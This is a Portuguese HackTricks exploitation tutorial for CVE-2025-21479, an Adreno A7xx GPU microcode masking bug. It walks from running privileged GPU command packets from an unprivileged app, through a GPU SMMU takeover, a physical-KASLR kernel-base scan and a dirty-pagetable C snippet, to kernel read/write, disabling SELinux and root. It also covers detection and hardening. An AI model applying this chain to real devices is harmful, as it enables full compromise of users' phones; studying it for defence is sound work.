Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Esta página abstrai um bug de lógica de microcode em Adreno A7xx (CVE-2025-21479) em técnicas de exploração reproduzíveis: abusando do mascaramento a nível IB em Set Draw State (SDS) para executar packets GPU privilegiados a partir de um app não privilegiado, pivoteando para takeover do GPU SMMU e então para um R/W de kernel rápido e estável via um dirty-pagetable trick.
- Afetados: Qualcomm Adreno A7xx GPU firmware anterior a uma correção de microcode que mudou o mascaramento do registrador $12 de 0x3 para 0x7.
- Primitiva: Executar pacotes CP privilegiados (p.ex., CP_SMMU_TABLE_UPDATE) a partir de SDS, que é controlado pelo usuário.
- Resultado: R/W arbitrário de memória kernel física/virtual, desativação do SELinux, root.
- Pré-requisito: Capacidade de criar um contexto KGSL GPU e submeter command buffers que entrem em SDS (capacidade normal de app).
Contexto: níveis IB, SDS e a máscara $12
- O kernel mantém um ringbuffer (RB=IB0). O userspace submete IB1 via CP_INDIRECT_BUFFER, encadeando para IB2/IB3.
- SDS é um fluxo de comandos especial acessado via CP_SET_DRAW_STATE:
- A6xx: SDS é tratado como IB3
- A7xx: SDS foi movido para IB4
- O microcódigo rastreia o nível IB atual no registrador $12 e filtra pacotes privilegiados para que só sejam aceitos quando o nível efetivo corresponder a IB0 (RB do kernel).
- Bug: O microcódigo do A7xx continuou mascarando $12 com 0x3 (2 bits) em vez de 0x7 (3 bits). Como IB4 & 0x3 == 0, o SDS foi identificado incorretamente como IB0, permitindo pacotes privilegiados vindos de SDS controlado pelo usuário.
Por que isso importa:
A6XX | A7XX
RB & 3 == 0 | RB & 3 == 0
IB1 & 3 == 1 | IB1 & 3 == 1
IB2 & 3 == 2 | IB2 & 3 == 2
IB3 (SDS) & 3 == 3 | IB3 & 3 == 3
| IB4 (SDS) & 3 == 0 <-- misread as IB0 if mask is 0x3
Exemplo de diff de microcódigo (o patch alterou a máscara para 0x7):
@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7
Visão geral da exploração
Objetivo: A partir de SDS (lido erroneamente como IB0) emitir pacotes CP privilegiados para reposicionar o GPU SMMU para tabelas de páginas criadas pelo atacante, em seguida usar pacotes GPU de copy/write para R/W físico arbitrário. Finalmente, pivotar para um R/W rápido do lado CPU via tabela de páginas suja.
Cadeia de alto nível
- Criar uma tabela de páginas GPU falsa na memória compartilhada
- Entrar em SDS e executar:
- CP_SMMU_TABLE_UPDATE -> switch to fake pagetable
- CP_MEM_WRITE / CP_MEM_TO_MEM -> implement write/read primitives
- CP_SET_DRAW_STATE with run-now flags (dispatch immediately)
Primitivas GPU R/W via tabela de páginas falsa
- Write: CP_MEM_WRITE to an attacker-chosen GPU VA whose PTEs you map to a chosen PA -> arbitrary physical write
- Read: CP_MEM_TO_MEM copies 4/8 bytes from target PA to a userspace-shared buffer (batch for larger reads)
Notas
- Cada processo Android recebe um contexto KGSL (IOCTL_KGSL_GPU_CONTEXT_CREATE). Alternar contextos normalmente atualiza as tabelas SMMU no RB; o bug permite que você faça isso em SDS.
- Tráfego excessivo na GPU pode causar blackouts da UI e reboots; leituras são pequenas (4/8B) e o sync é lento por padrão.
Construindo a sequência de comandos SDS
- Spray uma tabela de páginas GPU falsa na memória compartilhada para que ao menos uma instância caia em um endereço físico conhecido (p.ex., via allocator grooming e repetição).
- Construa um buffer SDS contendo, em ordem:
- CP_SMMU_TABLE_UPDATE to the physical address of the fake pagetable
- One or more CP_MEM_WRITE and/or CP_MEM_TO_MEM packets to implement R/W using your new translations
- CP_SET_DRAW_STATE with flags to run-now
As codificações exatas dos pacotes variam por firmware; use freedreno’s afuc/packet docs para montar as palavras, e garanta que o caminho de submissão SDS seja tomado pelo driver.
Encontrando o physbase do kernel Samsung sob physical KASLR
A Samsung randomiza a base física do kernel dentro de uma região conhecida em dispositivos Snapdragon. Brute-force o intervalo esperado e procure pelos primeiros 16 bytes de _stext.
Loop representativo
while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue; // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) { // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}
Uma vez que physbase é conhecido, calcule o kernel virtual com o mapa linear:
_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)
Estabilizando para R/W de kernel rápido e confiável no lado da CPU (dirty pagetable)
GPU R/W é lento e de granularidade pequena. Faça pivot para um primitivo rápido/estável corrompendo os PTEs do seu próprio processo (“dirty pagetable”):
Passos
- Localizar task_struct atual -> mm_struct -> mm_struct->pgd usando os primitivos lentos de GPU R/W
- mmap duas páginas de userspace adjacentes A e B (e.g., at 0x1000)
- Percorrer PGD->PMD->PTE para resolver os endereços físicos dos PTEs de A/B (helpers: get_pgd_offset, get_pmd_offset, get_pte_offset)
- Sobrescrever o PTE de B para apontar para a pagetable de último nível que gerencia A/B com atributos RW (phys_to_readwrite_pte)
- Escrever via VA de B para mutar o PTE de A para mapear PFNs alvo; ler/escrever memória do kernel via VA de A, limpando o TLB até que um sentinel mude de estado
Exemplo de dirty-pagetable pivot snippet
```c uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE); page_map[0] = 0x4242424242424242;uint64_t tsk = get_curr_task_struct(ctx); uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM); uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);
uint64_t pgd_off = get_pgd_offset((uint64_t)map); uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1); uint64_t pmd_off = get_pmd_offset((uint64_t)map); uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1); uint64_t pte_off = get_pte_offset((uint64_t)map); uint64_t pte_addr = phys_pte + pte_off; uint64_t new_pte = phys_to_readwrite_pte(pte_addr); kernel_write_u64(ctx, pte_addr + 8, new_pte, false); while (page_map[0] == 0x4242424242424242) flush_tlb();
</details>
## Detecção e hardening
- Firmware/microcode: corrigir todos os sites que mascaram $12 para usar 0x7 (A7xx) e auditar privileged packet gates
- Driver: validar o nível IB efetivo para privileged packets e aplicar allowlists por contexto
- Telemetria: alertar se CP_SMMU_TABLE_UPDATE (ou opcodes privilegiados similares) aparecer fora de RB/IB0, especialmente em SDS; monitorar rajadas anômalas de 4/8-byte CP_MEM_TO_MEM e padrões excessivos de flush de TLB
- Kernel: endurecer pagetable metadata e detectar padrões de corrupção de user PTE
## Impacto
Um app local com acesso à GPU pode executar privileged GPU packets, sequestrar o GPU SMMU, obter R/W arbitrário físico/virtual do kernel, desabilitar SELinux e obter root em dispositivos Snapdragon A7xx afetados (por exemplo, Samsung S23). Severidade: Alta (comprometimento do kernel).
## Referências
- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)
> [!TIP]
> Aprenda e pratique Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprenda e pratique Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporte o HackTricks</summary>
>
> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
> - **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
>
> </details>
HackTricks

